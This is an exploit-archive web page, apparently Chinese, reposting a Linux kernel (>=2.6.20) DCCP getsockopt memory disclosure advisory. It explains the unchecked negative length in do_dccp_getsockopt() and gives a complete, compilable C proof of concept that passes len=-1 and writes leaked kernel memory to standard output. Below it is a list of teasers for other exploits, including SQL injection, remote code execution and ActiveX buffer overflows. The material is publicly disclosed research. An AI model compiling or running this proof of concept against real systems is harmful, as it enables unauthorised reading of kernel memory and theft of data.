Linux Kernel

所属分类: 网络安全 / Exploit 阅读数: 144
收藏 0 赞 0 分享
/*
Linux Kernel DCCP Memory Disclosure Vulnerability Synopsis: The Linux kernel is susceptible to a locally exploitable flaw
which may allow local users to steal data from the kernel memory. Vulnerable Systems: Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
Kernel versions <2.6.20 lack
DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
getsockopt() call with SOL_DCCP level, which are used in the
delivered POC code. Author: Robert Swiecki
http://www.swiecki.net
robert@swiecki.net Details: The flaw exists in do_dccp_getsockopt() function in
net/dccp/proto.c file. -----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
return -EFAULT;
if (len < sizeof(int))
return -EINVAL;
...
----------------------- The above code doesn't check `len' variable for negative values.
Because of cast typing (len < sizeof(int)) is always true for
`len' values less than 0. After that copy_to_user() procedure is called: -----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;
----------------------- What happens next depends greatly on the cpu architecture in-use -
each cpu architecture has its own copy_to_user() implementation. On
the IA-32 the code below ... -----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
{
BUG_ON((long) n < 0);
----------------------- ... will prevent explotation, but kernel will oops due to
invalid opcode in BUG_ON(). On some other architectures (e.g. x86-64) kernel-space data will
be copied to the user supplied buffer until end-of-kernel space
(pagefault in kernel-mode occurs) is reached. POC: ----------------------- */ #include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h> #define BUFSIZE 0x10000000 int main(int argc, char *argv[])
{
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (!mem) {
printf("Cannot allocate mem\n");
return 1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
int len = -1;
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int x = getsockopt(s, 269, 11, mem, &len); if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS\n"); write(1, mem, BUFSIZE); return 0;
} //-----------------------
//make poc; ./poc | strings
//-----------------------
更多精彩内容其他人还在看

LoveCMS 1.6.2 Final Remote Code Execution Exploit

#!/usr/bin/ruby # ## Exploit by PoMdaPiMp! ## --------------------- ## pomdapimp(at)gmail(dotcom) ## ## LoveCMS Exploi
收藏 0 赞 0 分享

Xerox Phaser 8400 (reboot) Remote Denial of Service Exploit

#!/usr/bin/perl # carved-out by: crit3rion, just making th3 world a b3tt3r plac3! # Xerox_Remote_DoS.20080801.ver01 (tanx to dr0pz0N3
收藏 0 赞 0 分享

moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit

#!/usr/bin/perl # # moziloCMS 1.10.1 Perl exploit # # discovered & written by Ams # ax330d [doggy] gmail [dot] com # # DESCRIP
收藏 0 赞 0 分享

Joomla Component EZ Store Remote Blind SQL Injection Exploit

#!/usr/bin/perl #Note:Sometimes you have to change the regexp to viewcategory/catid,".$cid." use LWP::UserAgent; use Get
收藏 0 赞 0 分享

Friendly Technologies (fwRemoteCfg.dll) ActiveX Command Exec Exploit

<!-- In addition to the overflow found in the "Friendly Technologies" dialers ActiveX, Here is a "remote command execu
收藏 0 赞 0 分享

Friendly Technologies (fwRemoteCfg.dll) ActiveX Remote BOF Exploit

<!-- "Friendly Technologies" provide software like L2TP and PPPoE clients to ISPs, who give the software to their customers
收藏 0 赞 0 分享

IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Exploit

/* * IntelliTamper 2.07 (imgsrc) Remote Buffer Overflow Expoit * * Discovered & Written by r0ut3r (writ3r [at] gmail.com) *
收藏 0 赞 0 分享

Ultra Office ActiveX Control Remote Buffer Overflow Exploit

----------------------------------------------------------------------------- Ultra Office ActiveX Control Remote Buffer Overflow url:
收藏 0 赞 0 分享

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF Exploit

Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit Author: Koshi Original POC: http://www.milw0rm.com/exploi
收藏 0 赞 0 分享

MyBulletinBoard (MyBB)

<?php // forum mybb <= 1.2.11 remote sql injection vulnerability // bug found by Janek Vind "waraxe" http://www.waraxe
收藏 0 赞 0 分享
查看更多